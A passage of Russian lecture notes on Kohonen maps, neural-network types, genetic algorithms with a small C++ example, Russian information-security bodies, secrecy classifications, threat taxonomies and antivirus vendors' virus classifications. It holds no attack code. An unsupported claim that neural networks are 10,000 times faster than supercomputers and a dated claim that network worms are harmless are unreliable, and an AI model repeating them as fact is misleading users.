Удобно рассматривать такие карты как двумерные сетки узлов, размещенных в многомерном пространстве. Изначально самоорганизующаяся карта представляет из себя сетку из узлов, соединенный между собой связями. Кохонен рассматривал два варианта соединения узлов — в прямоугольную и гексагональную сетку — отличие состоит в том, что в прямоугольной сетке каждый узел соединен с 4-мя соседними, а в гексагональной — с 6-ю ближайщими узлами. Для двух таких сеток процесс построения сети Кохонена отличается лишь в том месте, где перебираются ближайшие к данному узлу соседи.

Начальное вложение сетки в пространство данных выбирается произвольным образом. В авторском пакете SOM_PAK предлагаются варианты случайного начального расположения узлов в пространстве и вариант расположения узлов в плоскости. После этого узлы начинают перемещаться в пространстве согласно следующему алгоритму:

1. Случайным образом выбирается точка данных x. 

2. Определяется ближайший к x узел карты (BMU — Best Matching Unit). 

3. Этот узел перемещается на заданный шаг по направлению к x. Однако, он перемещается не один, а увлекает за собой определенное количество ближайших узлов из некоторой окрестности на карте. Из всех двигающихся узлов наиболее сильно смещается центральный — ближайший к точке данных — узел, а остальные испытывают тем меньшие смещения, чем дальше они от BMU. В настройке карты различают два этапа — этап грубой (ordering) и этап тонкой (fine-tuning) настройки. На первом этапе выбираются большие значения окрестностей и движение узлов носит коллективный характер — в результате карта «расправляется» и грубым образом отражает структуру данных; на этапе тонкой настройки радиус окрестности равен 1-2 и настраиваются уже индивидуальные положения узлов. Кроме этого, величина смещения равномерно затухает со временем, то есть она велика в начале каждого из этапов обучения и близка к нулю в конце. 

4. Алгоритм повторяется определенное число эпох (понятно, что число шагов может сильно изменяться в зависимости от задачи). 

6.4.10  Известные типы сетей
· Персептрон Розенблатта; 

· Многослойный перцептрон; 

· Сеть Джордана; 

· Сеть Элмана; 

· Сеть Хэмминга; 

· Сеть Ворда; 

· Сеть Хопфилда; 

· Сеть Кохонена; 

· Когнитрон; 

· Неокогнитрон; 

· Хаотическая нейронная сеть; 

· Осцилляторная нейронная сеть; 

· Сеть встречного распространения; 

· Сеть радиальных базисных функций (RBF-сеть); 

· Сеть обобщенной регрессии; 

· Вероятностная сеть; 

· Сиамская нейронная сеть; 

· Сети адаптивного резонанса. 

6.4.11  Отличия от машин с архитектурой фон Неймана
Длительный период эволюции придал мозгу человека много качеств, которые отсутствуют в машинах с архитектурой фон Неймана:

· Массовый параллелизм; 

· Распределённое представление информации и вычисления; 

· Способность к обучению и обобщению; 

· Адаптивность; 

· Свойство контекстуальной обработки информации; 

· Толерантность к ошибкам; 

· Низкое энергопотребление. 

6.4.12  Нейронные сети — универсальные аппроксиматоры
Нейронные сети — универсальные аппроксимирующие устройства и могут с любой точностью имитировать любой непрерывный автомат. Доказана обобщённая аппроксимационная теорема[16]: с помощью линейных операций и каскадного соединения можно из произвольного нелинейного элемента получить устройство, вычисляющее любую непрерывную функцию с любой наперёд заданной точностью. Это означает, что нелинейная характеристика нейрона может быть произвольной: от сигмоидальной до произвольного волнового пакета или вейвлета, синуса или полинома. От выбора нелинейной функции может зависеть сложность конкретной сети, но с любой нелинейностью сеть остаётся универсальным аппроксиматором и при правильном выборе структуры может сколь угодно точно аппроксимировать функционирование любого непрерывного автомата.

6.4.13  Примеры приложений
6.4.13.1  Предсказание финансовых временных рядов
Входные данные — курс акций за год. Задача — определить завтрашний курс. Проводится следующее преобразование — выстраивается в ряд курс за сегодня, вчера, за позавчера, за позапозавчера. Следующий ряд — смещается по дате на один день и так далее. На полученном наборе обучается сеть с 3 входами и одним выходом — то есть выход: курс на дату, входы: курс на дату минус 1 день, минус 2 дня, минус 3 дня. Обученной сети подаем на вход курс за сегодня, вчера, позавчера и получаем ответ на завтра. Нетрудно заметить, что в этом случае сеть просто выведет зависимость одного параметра от трёх предыдущих. Если желательно учитывать ещё какой-то параметр (например, общий индекс по отрасли), то его надо добавить как вход (и включить в примеры), переобучить сеть и получить новые результаты. Для наиболее точного обучения стоит использовать метод ОРО, как наиболее предсказуемый и несложный в реализации.

6.4.13.2  Психодиагностика
Серия работ М. Г. Доррера с соавторами посвящена исследованию вопроса о возможности развития психологической интуиции у нейросетевых экспертных систем.[17]

 HYPERLINK "http://ru.wikipedia.org/wiki/%D0%9D%D0%B5%D0%B9%D1%80%D0%BE%D1%81%D0%B5%D1%82%D0%B8" \l "cite_note-17#cite_note-17" \o "" 
[18] Полученные результаты дают подход к раскрытию механизма интуиции нейронных сетей, проявляющейся при решении ими психодиагностических задач. Создан нестандартный для компьютерных методик интуитивный подход к психодиагностике, заключающийся в исключении построения описанной реальности. Он позволяет сократить и упростить работу над психодиагностическими методиками.

6.4.13.3  Хемоинформатика
Нейронные сети широко используются в химических и биохимических исследованиях[19] В настоящее время нейронные сети являются одним из самых распространенных методов хемоинформатики для поиска количественных соотношений структура-свойство[20]

 HYPERLINK "http://ru.wikipedia.org/wiki/%D0%9D%D0%B5%D0%B9%D1%80%D0%BE%D1%81%D0%B5%D1%82%D0%B8" \l "cite_note-20#cite_note-20" \o "" 
[21], благодаря чему они активно используются как для прогнозирования физико-химических свойств и биологической активности химических соединений, так и для направленного дизайна химических соединений и материалов с заранее заданными свойствами, в том числе при разработке новых лекарственных препаратов.

6.4.14 Генети́ческий алгори́тм 

(англ. genetic algorithm) — это эвристический алгоритм поиска, используемый для решения задач оптимизации и моделирования путем последовательного подбора, комбинирования и вариации искомых параметров с использованием механизмов, напоминающих биологическую эволюцию. Является разновидностью эволюционных вычислений (англ. evolutionary computation). Отличительной особенностью генетического алгоритма является акцент на использование оператора «скрещивания», который производит операцию рекомбинации решений-кандидатов, роль которой аналогична роли скрещивания в живой природе. «Отцом-основателем» генетических алгоритмов считается Джон Холланд (англ. John Holland), книга которого «Адаптация в естественных и искусственных системах» (1992) (англ. Adaptation in Natural and Artificial Systems) является основополагающим трудом в этой области исследований.

6.4.15 Описание алгоритма

Задача кодируется таким образом, чтобы её решение могло быть представлено в виде вектора («хромосома»). Случайным образом создаётся некоторое количество начальных векторов («начальная популяция»). Они оцениваются с использованием «функции приспособленности», в результате чего каждому вектору присваивается определённое значение («приспособленность»), которое определяет вероятность выживания организма, представленного данным вектором. После этого с использованием полученных значений приспособленности выбираются вектора (селекция), допущенные к «скрещиванию». К этим векторам применяются «генетические операторы» (в большинстве случаев «скрещивание» - crossover и «мутация» - mutation), создавая таким образом следующее «поколение». Особи следующего поколения также оцениваются, затем производится селекция, применяются генетические операторы и т. д. Так моделируется «эволюционный процесс», продолжающийся несколько жизненных циклов (поколений), пока не будет выполнен критерий остановки алгоритма. Таким критерием может быть:

1. нахождение глобального, либо субоптимального решения; 

2. исчерпание числа поколений, отпущенных на эволюцию; 

3. исчерпание времени, отпущенного на эволюцию. 

Генетические алгоритмы служат, главным образом, для поиска решений в очень больших, сложных пространствах поиска.

Таким образом, можно выделить следующие этапы генетического алгоритма:

1. Создание начальной популяции 

2. Определение (задание) функций приспособленности для особей популяции (оценивание) 

3. (Начало цикла) 

4. Выбор индивидов из текущей популяции (селекция) 

5. Скрещивание и\или мутация 

6. Вычисление функций приспособленности для всех особей 

7. Формирование нового поколения 

8. Если выполняются условия останова, то (конец цикла), иначе (начало цикла). 

6.4.16 Создание начальной популяции

Перед первым шагом нужно случайным образом создать некую начальную популяцию; даже если она окажется совершенно неконкурентоспособной, генетический алгоритм все равно достаточно быстро переведет ее в жизнеспособную популяцию. Таким образом, на первом шаге можно особенно не стараться сделать слишком уж приспособленных особей, достаточно, чтобы они соответствовали формату особей популяции, и на них можно было подсчитать функцию приспособленности (Fitness). Итогом первого шага является популяция H, состоящая из N особей.

6.4.17 Отбор

На этапе отбора нужно из всей популяции выбрать определенную ее долю, которая останется "в живых" на этом этапе эволюции. Есть разные способы проводить отбор. Вероятность выживания особи h должна зависеть от значения функции приспособленности Fitness(h). Сама доля выживших s обычно является параметром генетического алгоритма, и ее просто задают заранее. По итогам отбора из N особей популяции H должны остаться sN особей, которые войдут в итоговую популяцию H'. Остальные особи погибают.

6.4.18 Размножение

Размножение в генетических алгоритмах обычно половое - чтобы произвести потомка, нужны несколько родителей; обычно, конечно, нужны ровно два. Размножение в разных алгоритмах определяется по-разному - оно, конечно, зависит от представления данных. Главное требование к размножению - чтобы потомок или потомки имели возможность унаследовать черты обоих родителей, "смешав" их каким-либо достаточно разумным способом. Вообще говоря, для того чтобы провести операцию размножения, нужно выбрать (1-s)p/2 пар гипотез из H и провести с ними размножение, получив по два потомка от каждой пары (если размножение определено так, чтобы давать одного потомка, нужно выбрать (1 - s)p пар), и добавить этих потомков в H'. В результате H' будет состоять из N особей. Почему особи для размножения обычно выбираются из всей популяции H, а не из выживших на первом шаге элементов H0 (хотя последний вариант тоже имеет право на существование)? Дело в том, что главный бич многих генетических алгоритмов - недостаток разнообразия (diversity) в особях. Достаточно быстро выделяется один-единственный генотип, который представляет собой локальный максимум, а затем все элементы популяции проигрывают ему отбор, и вся популяция "забивается" копиями этой особи. Есть разные способы борьбы с таким нежелательным эффектом; один из них - выбор для размножения не самых приспособленных, но вообще всех особей.

6.4.19 Мутации

К мутациям относится все то же самое, что и к размножению: есть некоторая доля мутантов m, являющаяся параметром генетического алгоритма, и на шаге мутаций нужно выбрать mN особей, а затем изменить их в соответствии с заранее определенными операциями мутации.

6.5 Применение генетических алгоритмов

· Оптимизация функций 

· Оптимизация запросов в базах данных 

· Разнообразные задачи на графах (задача коммивояжера, раскраска, нахождение паросочетаний) 

· Настройка и обучение искусственной нейронной сети 

· Задачи компоновки 

· Составление расписаний 

· Игровые стратегии 

· Теория приближений 

· Искусственная жизнь 

· Биоинформатика (свёртывание белков)
6.6 Пример тривиальной реализации на C++
Поиск в одномерном пространстве, без скрещивания.

#include <iostream>
#include <algorithm>
#include <numeric>
int main()
{
    using namespace std;

    srand((unsigned)time(NULL));

    const int N = 1000;

    int a[N];

    //заполняем нулями
    fill(a, a+N, 0);

    for (;;)
    {
        //мутация в случайную сторону каждого элемента:
        for (int i = 0; i < N; ++i)
            if (rand()%2 == 1)
                a[i] += 1;

            else
                a[i] -= 1;

        //теперь выбираем лучших, отсортировав по возрастанию... 
        sort(a, a+N);

        //... и тогда лучшие окажутся во второй половине массива.
        //скопируем лучших в первую половину, куда они оставили потомство, а первые умерли:
        copy(a+N/2, a+N,    a /*куда*/);

        //теперь посмотрим на среднее состояние популяции. Как видим, оно всё лучше и лучше.
        cout << accumulate(a, a+N, 0) / N << endl;

    }
}
ИНС обеспечивают производительность в 10000 раз выше суперкомпьютеров. Используются для приближения функций, обработки, анализа изображений.

7 Информационная безопасность

7.1 Информационная безопасность

Такое состояние автоматизированной системы, в котором она, с одной стороны,  способна противостоять воздействию как внутренних, так и внешних информационных угроз, а с другой стороны, затраты на ее функционирование меньше, чем предполагаемый ущерб от утечки защищаемой информации. .?????

Защищённость информации и поддерживающей инфраструктуры от случайных и/или преднамеренных воздействий естественного или искусственного характера, которые могут нанести ущерб собственникам, владельцам и пользователям информации и поддерживающей инфраструктуре [3]
7.2 Система органов обеспечения информационной безопасности РФ

Система обеспечения информационной безопасности РФ является составной частью общей системы национальной безопасности страны. Это совокупность органов государственной власти и управления, предприятий, работающих согласованно и на основе единых правовых норм. 

           Организационную структуру системы составляют: 

· органы государственной власти и управления РФ и ее субъектов, решающие задачи обеспечения информационной безопасности в пределах своей компетенции (например, Комитет по политике информатизации при президенте РФ, ФАПСИ (Федеральное агентство правительственной связи и информации при президенте РФ)); 

· государственные и межведомственные комиссии и советы, специализирующиеся на проблемах информационной безопасности (например, Государственная Техническая Комиссия России); 

· структурные и межотраслевые подразделения по защите информации органов государственной власти и управления, а также структурные подразделения предприятий, проводящие работы с использованием сведений, отнесенных к государственной тайне, или специализирующиеся в области защиты информации; 

· научно-исследовательские, проектные и конструкторские организации, выполняющие работы по обеспечению информационной безопасности (например, Центр комплексной безопасности при СНПО «Элерон», ВИМИ (ВНИИ Межотраслевой информации)) ; 

· учебные заведения, осуществляющие подготовку и переподготовку кадров для работы в системе обеспечения информационной безопасности (например, Специализированный центр защиты информации при Санкт-Петербургском Техническом Университете).
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Рис Структура государственной системы защиты информации РФ 

Слу́жба вне́шней разве́дки Российской Федерации (СВР России) 
Федеральное агентство правительственной связи и информации при Президенте Российской Федерации Указом Президента России от 11 марта 2003 года № 308 «О мерах по совершенствованию государственного управления в области безопасности Российской Федерации» Федеральное агентство правительственной связи и информации при Президенте Российской Федерации упразднено, а его функции переданы ФСБ России, СВР России и Службе специальной связи и информации ФСО России.

Федеральная служба охраны Российской Федерации (ФСО России) 
Межведомственная комиссия Совета Безопасности Российской Федерации по информационной безопасности (далее - Комиссия) образована в соответствии с Законом Российской Федерации от 5 марта 1992 г. № 2446-I "О безопасности" и Положением о Совете Безопасности Российской Федерации, утвержденным Указом Президента Российской Федерации от 7 июня 2004 г. № 726, в целях реализации возложенных на Совет Безопасности Российской Федерации (далее - Совет Безопасности) задач в области обеспечения информационной безопасности Российской Федерации.
7.3 Грифы
Гри́ф секре́тности — реквизит, свидетельствующий о степени секретности сведений, содержащихся в его носителе, проставляемый на самом носителе и/или в сопроводительной документации на него.

Степень секретности сведений, составляющих государственную тайну, должна соответствовать степени тяжести ущерба, который может быть нанесен безопасности государства вследствие распространения указанных сведений.

В Российской Федерации в соответствии с постановлением Правительства Российской Федерации от 4 сентября 1995 г. N 870. «Об утверждении правил отнесения сведений, составляющих государственную тайну, к различным степеням секретности» сведения, отнесенные к государственной тайне, по степени секретности подразделяются на сведения:

· особой важности: К сведениям особой важности следует относить сведения в области военной, внешнеполитической, экономической, научно-технической, разведывательной, контрразведывательной и оперативно-розыскной деятельности, распространение которых может нанести ущерб интересам Российской Федерации в одной или нескольких из перечисленных областей. 

· совершенно секретные: К совершенно секретным сведениям следует относить сведения в области военной, внешнеполитической, экономической, научно-технической, разведывательной, контрразведывательной и оперативно-розыскной деятельности, распространение которых может нанести ущерб интересам министерства (ведомства) или отрасли экономики Российской Федерации в одной или нескольких из перечисленных областей. 

· секретные: К секретным сведениям следует относить все иные сведения из числа сведений, составляющих государственную тайну. Ущербом безопасности Российской Федерации в этом случае считается ущерб, нанесенный интересам предприятия, учреждения или организации в военной, внешнеполитической, экономической, научно-технической, разведывательной, контрразведывательной или оперативно-розыскной области деятельности. 

Не допускается использование грифов секретности для засекречивания сведений, не отнесенных к государственной тайне.

7.4 Классификация угроз информационной безопасности

По своей общей направленности угрозы информационной безопасности Российской Федерации подразделяются на следующие виды: [11]

· угрозы конституционным правам и свободам человека и гражданина в области духовной жизни и информационной деятельности, индивидуальному, групповому и общественному сознанию, духовному возрождению России; 

· угрозы информационному обеспечению государственной политики Российской Федерации; 

· угрозы развитию отечественной индустрии информации, включая индустрию средств информатизации, телекоммуникации и связи, обеспечению потребностей внутреннего рынка в ее продукции и выходу этой продукции на мировой рынок, а также обеспечению накопления, сохранности и эффективного использования отечественных информационных ресурсов; 

· угрозы безопасности информационных и телекоммуникационных средств и систем, как уже развернутых, так и создаваемых на территории России. 

[10]

Угроза — это потенциальная возможность определенным образом нарушить информационную безопасность.

Попытка реализации угрозы называется атакой, а тот, кто предпринимает такую попытку, — злоумышленником. Потенциальные злоумышленники называются источниками угрозы.

Чаще всего угроза является следствием наличия уязвимых мест в защите информационных систем (таких, например, как возможность доступа посторонних лиц к критически важному оборудованию или ошибки в программном обеспечении).

Промежуток времени от момента, когда появляется возможность использовать слабое место, и до момента, когда пробел ликвидируется, называется окном опасности, ассоциированным с данным уязвимым местом. Пока существует окно опасности, возможны успешные атаки на ИС.

……

Мы попытаемся взглянуть на предмет с точки зрения типичной (на наш взгляд) организации. Впрочем, многие угрозы (например, пожар) опасны для всех.

Угрозы можно классифицировать по нескольким критериям:

•
по аспекту информационной безопасности (доступность, целостность, конфиденциальность), против которого угрозы направлены в первую очередь;

•
по компонентам информационных систем, на которые угрозы нацелены (данные, программы, аппаратура, поддерживающая инфраструктура);

•
по способу осуществления (случайные/преднамеренные действия природного/техногенного характера);

•
по расположению источника угроз (внутри/вне рассматриваемой ИС).

В качестве основного критерия мы будем использовать первый (по аспекту ИБ), привлекая при необходимости остальные.

7.4.1 Наиболее распространенные угрозы доступности

Самыми частыми и самыми опасными (с точки зрения размера ущерба) являются непреднамеренные ошибки штатных пользователей, операторов, системных администраторов и других лиц, обслуживающих информационные системы.

Иногда такие ошибки и являются собственно угрозами (неправильно введенные данные или ошибка в программе, вызвавшая крах системы), иногда они создают уязвимые места, которыми могут воспользоваться злоумышленники (таковы обычно ошибки администрирования). 

Очевидно, самый радикальный способ борьбы с непреднамеренными ошибками — максимальная автоматизация и строгий контроль.

Другие угрозы доступности классифицируем по компонентам ИС, на которые нацелены угрозы:

•
отказ пользователей;

•
внутренний отказ информационной системы;

•
отказ поддерживающей инфраструктуры.

Обычно применительно к пользователям рассматриваются следующие угрозы:

•
нежелание работать с информационной системой (чаще всего проявляется при необходимости осваивать новые возможности и при расхождении между запросами пользователей и фактическими возможностями и техническими характеристиками);

•
невозможность работать с системой в силу отсутствия соответствующей подготовки (недостаток общей компьютерной грамотности, неумение интерпретировать диагностические сообщения, неумение работать с документацией и т.п.);

•
невозможность работать с системой в силу отсутствия технической поддержки (неполнота документации, недостаток справочной информации и т.п.).

Основными источниками внутренних отказов являются:

•
отступление (случайное или умышленное) от установленных правил эксплуатации;

•
выход системы из штатного режима эксплуатации в силу случайных или преднамеренных действий пользователей или обслуживающего персонала (превышение расчетного числа запросов, чрезмерный объем обрабатываемой информации и т.п.);

•
ошибки при (пере)конфигурировании системы;

•
отказы программного и аппаратного обеспечения;

•
разрушение данных;

•
разрушение или повреждение аппаратуры.

По отношению к поддерживающей инфраструктуре рекомендуется рассматривать следующие угрозы:

•
нарушение работы (случайное или умышленное) систем связи, электропитания, водо- и/или теплоснабжения, кондиционирования;

•
разрушение или повреждение помещений;

•
невозможность или нежелание обслуживающего персонала и/или пользователей выполнять свои обязанности (гражданские беспорядки, аварии на транспорте, террористический актили его угроза, забастовка и т.п.).

Весьма опасны так называемые «обиженные» сотрудники — нынешние и бывшие. Как правило, они стремятся нанести вред организации-«обидчику», например:

•
испортить оборудование;

•
встроить логическую бомбу, которая со временем разрушитпрограммы и/или данные;

•
удалить данные.

7.4.2 Основные угрозы целостности

На втором месте по размерам ущерба (после непреднамеренных ошибок и упущений) стоят кражи и подлоги. 

Ранее мы проводили различие между статической и динамической целостностью. С целью нарушения статической целостности злоумышленник (как правило, штатный сотрудник) может:

•
ввести неверные данные;

•
изменить данные.

Угрозами динамической целостности являются нарушение атомарности транзакций, переупорядочение, кража, дублирование данных или внесение дополнительных сообщений (сетевых пакетов и т.п.). Соответствующие действия в сетевой среде называются активным прослушиванием.

7.4.3 Основные угрозы конфиденциальности

Конфиденциальную информацию можно разделить на предметную и служебную. Служебная информация (например, пароли пользователей) не относится к определенной предметной области, в информационной системе она играет техническую роль, но ее раскрытие особенно опасно, поскольку оно чревато получением несанкционированного доступа ко всей информации, в том числе предметной.

Для атаки могут использоваться разные технические средства (подслушивание или прослушивание разговоров, пассивное прослушивание сети и т.п.), но идея одна — осуществить доступ к данным в тот момент, когда они наименее защищены.

Перехват данных — очень серьезная угроза, и если конфиденциальность действительно является критичной, а данные передаются по многим каналам, их защита может оказаться весьма сложной и дорогостоящей. Технические средства перехвата хорошо проработаны, доступны, просты в эксплуатации, а установить их, например на кабельную сеть, может кто угодно, так что эту угрозу нужно принимать во внимание по отношению не только к внешним, но и к внутренним коммуникациям.

Кражи оборудования являются угрозой не только для резервных носителей, но и для компьютеров, особенно портативных. Часто ноутбуки оставляют без присмотра на работе или в автомобиле, иногда просто теряют.

Опасной нетехнической угрозой конфиденциальности являются методы морально-психологического воздействия, такие как маскарад — выполнение действий под видом лица, обладающего полномочиями для доступа к данным (см., например, статью Айрэ Винклера «Задание: шпионаж» в Jet Info, 1996, 19).

К неприятным угрозам, от которых трудно защищаться, можно отнести злоупотребление полномочиями. На многих типах систем привилегированный пользователь (например системный администратор) способен прочитать любой (незашифрованный) файл, получить доступ к почте любого пользователя и т.д. Другой пример — нанесение ущерба при сервисном обслуживании.
7.5 Концепция защиты от информационного оружия

Современный этап развития системы обеспечения информационной безопасности государства и общества характеризуется переходом от тотального сокрытия большого объема сведений к гарантированной защищенности принципиально важных данных, обеспечивающей:

конституционные права и свободы граждан, предприятий и организаций в

сфере информатизации; 

· необходимый уровень безопасности информации, подлежащей защите; 

· защищенность систем формирования и использования информационных ресурсов (технологий, систем обработки и передачи информации). 

Ключевым моментом политики государства в данной области является осознание необходимости защиты любых информационных ресурсов и информационных технологий, неправомерное обращение с которыми может нанести ущерб их собственнику, владельцу, пользователю или иному лицу.

О мерах по обеспечению информационной безопасности Российской Федерации при использовании информационно-телекоммуникационных сетей международного информационного обмена  

17.03.2008 

Номер документа: 351 

Тип документа: Указ 

Исходящий орган: Президент РФ 

Статус документа: Действующий 

В целях обеспечения информационной безопасности Российской Федерации при использовании информационно-телекоммуникационных сетей, позволяющих осуществлять передачу информации через государственную границу Российской Федерации, в том числе при использовании международной компьютерной сети "Интернет", постановляю:

1. Установить, что:

а) подключение информационных систем, информационно- телекоммуникационных сетей и средств вычислительной техники, применяемых для хранения, обработки или передачи информации, содержащей сведения, составляющие государственную тайну, либо информации, обладателями которой являются государственные органы и которая содержит сведения, составляющие служебную тайну, к информационно-телекоммуникационным сетям, позволяющим осуществлять передачу информации через государственную границу Российской Федерации, в том числе к международной компьютерной сети "Интернет" (далее информационно-телекоммуникационные сети международного информационного обмена), не допускается;

б) при необходимости подключения информационных систем, информационно-телекоммуникационных сетей и средств вычислительной техники, указанных в подпункте "а" настоящего пункта, к информационно-телекоммуникационным сетям международного информационного обмена такое подключение производится только с использованием специально предназначенных для этого средств защиты информации, в том числе шифровальных (криптографических) средств, прошедших в установленном законодательством Российской Федерации порядке сертификацию в Федеральной службе безопасности Российской Федерации и (или) получивших подтверждение соответствия в Федеральной службе по техническому и экспортному контролю.

в) государственные органы в целях защиты общедоступной информации, размещаемой в информационно-телекоммуникационных сетях международного информационного обмена, используют только средства защиты информации, прошедшие в установленном законодательством Российской Федерации порядке сертификацию в Федеральной службе безопасности Российской Федерации и (или) получившие подтверждение соответствия в Федеральной службе по техническому и экспортному контролю;

г) размещение технических средств, подключаемых к информационно-телекоммуникационным сетям международного информационного обмена, в помещениях, предназначенных для ведения переговоров, в ходе которых обсуждаются вопросы, содержащие сведения, составляющие государственную тайну, осуществляется только при наличии сертификата, разрешающего эксплуатацию таких технических средств в указанных помещениях.

7.6 Классификация вирусов
7.6.1 Symantec

7.6.1.1 Классификация по принципу действия: черви, троянские кони и логические бомбы

На сегодняшний день одними из самых распространенных вирусов являются черви,  которые независимо распространяются через Интернет. Они рассылают себя всем пользователям, записанным в адресной книге жертвы, либо распространяются через электронные письма, мгновенные сообщения или файлообменные сети. Довольно часто они содержат собственную службу SMTP. Некоторые черви свободно циркулируют в Интернете, поджидая новые жертвы с дырами безопасности в программном обеспечении.

 

Хотя по способу действия троянские кони отличаются от обычных вирусов, их по-прежнему причисляют к этому семейству, несмотря на то, что обычно они скрываются за другой программой. Как правило они открывают дыры безопасности, используя которые, другие вредоносные программы устанавливают себя в системе, либо злоумышленник захватывает управление системой.

 

Логические бомбы — это вирусы, которые активизируются в определенное время или по удаленной команде злоумышленника. Также различают резидентные вирусы,  которые постоянно находятся в памяти компьютера и заражают все запускаемые исполняемые файлы. Нерезидентные вирусы содержатся в зараженных программах и активны во время выполнения этих программ.

7.6.1.2 Классификация по способу распространения
Системные вирусынаделали много шума во времена использования дискет, заражая загрузочные секторы и разделы компьютера, однако сегодня они практически не встречаются. Программные вирусы предназначены для одной или нескольких программ. Макровирусы атакуют макросы в таких наиболее популярных офисных приложениях, как Word или Excel. Вирусы сценариев проникают на компьютеры жертв, используя функции программ на языках VBScript и JavaScript. Вирусы массовой рассылки автоматически отправляют себя по всем адресам электронной почты, найденным на компьютере жертвы.

7.6.1.3 Классификация по форме
Учитывая наличие мутаций вирусов, создателям антивирусных программ пришлось различать варианты вредоносного кода, присваивая им коды от A до Z. Злоумышленники модифицируют вирусы, чтобы их нельзя было распознать по способу действия или сигнатуре. Создание новой версии дает возможность злоумышленнику заражать новые жертвы, пока создатели антивирусных программ не включат сигнатуру этой версии в свои базы данных. Авторы некоторых вирусов пошли в этом направлении еще дальше и создали полиморфные вирусы, которые постоянно зашифровывают и расшифровывают свою сигнатуру. За счет постоянного видоизменения такие вирусы сложнее обнаружить. Наконец, последними, но не менее важными, являются ретровирусы, которые изменяют базы данных антивирусных программ, делая их непригодными к использованию.

7.6.2 Касперский
Классификация вирусов по среде обитания

По среде обитания вирусы можно разделить на: 
Файловые вирусы, которые внедряются в выполняемые файлы (*.СОМ, *.ЕХЕ, *.SYS, *.BAT, *.DLL). 
Загрузочные вирусы, которые внедряются в загрузочный сектор диска (Boot-сектор) или в сектор, содержащий системный загрузчик винчестера (Master Boot Record). 
Макро-вирусы, которые внедряются в системы, использующие при работе так называемые макросы (например, Word, Excel). 
Существуют и сочетания - например, файлово-загрузочные вирусы, заражающие как файлы, так и загрузочные сектора. Такие вирусы, как правило, имеют довольно сложный алгоритм работы, часто применяют оригинальные методы проникновения в систему и их труднее обнаружить. 

Классификация вирусов по способам заражения

По способам заражения вирусы бывают резидентные и нерезидентные. 
Резидентный вирус при инфицировании компьютера оставляет в оперативной памяти свою резидентную часть, которая затем перехватывает обращение операционной системы к объектам заражения и внедряется в них. Резидентные вирусы находятся в памяти и являются активными вплоть до выключения или перезагрузки компьютера. Нерезидентные вирусы не заражают память компьютера и являются активными лишь ограниченное время. 

Классификация вирусов по деструктивным возможностям

По деструктивным возможностям вирусы можно разделить на: 
безвредные, т.е. никак не влияющие на работу компьютера (кроме уменьшения свободной памяти на диске в результате своего распространения); 
неопасные, влияние которых ограничивается уменьшением свободной памяти на диске и графическими, звуковыми и пр. эффектами; 
опасные - вирусы, которые могут привести к серьезным сбоям в работе; 
очень опасные, могущие привести к потере программ, уничтожить данные, стереть необходимую для работы компьютера информацию, записанную в системных областях памяти и т.д. 

Классификация вирусов по особенностям алгоритма

Здесь можно выделить следующие основные группы вирусов: 
компаньон-вирусы (companion) - Алгоритм работы этих вирусов состоит в том, что они создают для ЕХЕ-файлов файлы-спутники, имеющие то же самое имя, но с расширением СОМ. При запуске такого файла DOS первым обнаружит и выполнит СОМ-файл, т.е. вирус, который затем запустит и ЕХЕ-файл; 
вирусы-«черви» (worm) - вариант компаньон-вирусов. «Черви» не связывают свои копии с какими-то файлами. Они создают свои копии на дисках и в подкаталогах дисков, никаким образом не изменяя других файлов и не используя СОМ-ЕХЕ прием, описанный выше; 
сетевые черви - смотрите ниже «сетевые вирусы»; 
«паразитические» - все вирусы, которые при распространении своих копий обязательно изменяют содержимое дисковых секторов или файлов. В эту группу относятся все вирусы, которые не являются «червями» или «компаньон-вирусами»; 
«студенческие» - крайне примитивные вирусы, часто нерезидентные и содержащие большое число ошибок; 
«стелс»-вирусы (вирусы-невидимки, stealth), представляют собой весьма совершенные программы, которые перехватывают обращения DOS к пораженным файлам или секторам дисков и «подставляют» вместо себя незараженные участки информации. Кроме того, такие вирусы при обращении к файлам используют достаточно оригинальные алгоритмы, позволяющие «обманывать» резидентные антивирусные мониторы; 
«полиморфик»-вирусы (самошифрующиеся или вирусы-призраки, polymorphic) - достаточно труднообнаруживаемые вирусы, не содержащие ни одного постоянного участка кода. В большинстве случаев два образца одного и того же полиморфик-вируса не будут иметь ни одного совпадения. Это достигается шифрованием основного тела вируса и модификациями программы-расшифровщика; 
макро-вирусы - вирусы этого семейства используют возможности макроязыков (таких как Word Basic), встроенных в системы обработки данных (текстовые редакторы, электронные таблицы и т.д.). В настоящее время широко распространены макро-вирусы, заражающие документы текстового редактора Microsoft Word и электронные таблицы Microsoft Excel; 
сетевые вирусы (сетевые черви) - вирусы, которые распространяются в компьютерной сети и, так же, как и компаньон-вирусы, не изменяют файлы или сектора на дисках. Они проникают в память компьютера из компьютерной сети, вычисляют сетевые адреса других компьютеров и рассылают по этим адресам свои копии. Такие вирусы иногда создают рабочие файлы на дисках системы, но могут вообще не обращаться к ресурсам компьютера (за исключением оперативной памяти). Сетевых вирусов известно всего несколько штук. Например, XMasTree, Вирус Морриса (Internet Worm). 
На сегодняшний день сетевые вирусы не представляют никакой опасности, так как они нежизнеспособны в современных сетях, как глобальных (Internet), так и локальных (NetWare, NT). Однако это не мешает обычным DOS-вирусам и макро-вирусам поражать компьютерные сети (локальные и глобальные). Делают они это, в отличие от сетевых вирусов, не используя сетевые протоколы и «дыры» в программном обеспечении. Заражению подвергаются файлы на «общих» дисках на серверах и рабочих местах, через которые эти вирусы перебираются и на другие рабочие места, а часто и передаются в Internet. 
Чтобы противостоять нашествию компьютерных вирусов, необходимо выбрать правильную стратегию защиты от них, в том числе программные антивирусные средства, грамотно используя которые Вы сможете предотвратить вирусную атаку. А если она все же произойдет, вовремя ее обнаружить, локализовать и успешно отразить, не потеряв ценной для Вас информации. 

7.6.3 Доктор Веб

"HLL." (High Level Language) вирусы 

Вирусы, написанные на языках программирования высокого уровня, таких как C, C++, Pascal, Basic и другие. В некоторых случаях вирусный код компилированных HLL - вирусов сжимают с использованием различных утилит уплотнения (PKLITE, LZEXE, DIET и др).

В группе HLL-вирусов выделяют несколько классов:

· "HLLC." (High Level Language Companion) - вирус-компаньон, написанный на языке программирования высокого уровня. Такой вирус использует алгоритм инфицирования, который базируется на манипулировании именами файлов в файловой системе. Обычно HLLC - вирус переименовывает оригиналы исполняемых файлов (или перемещает их в другие директории), а затем использует названия оригинальных исполняемых файлов для создания на их месте вирусной копии. 

· "HLLO." (High Level Language Overwriting) -перезаписывающий вирус, написанный на языке программирования высокого уровня. HLLO - вирус перезаписывает данные файла-жертвы. 

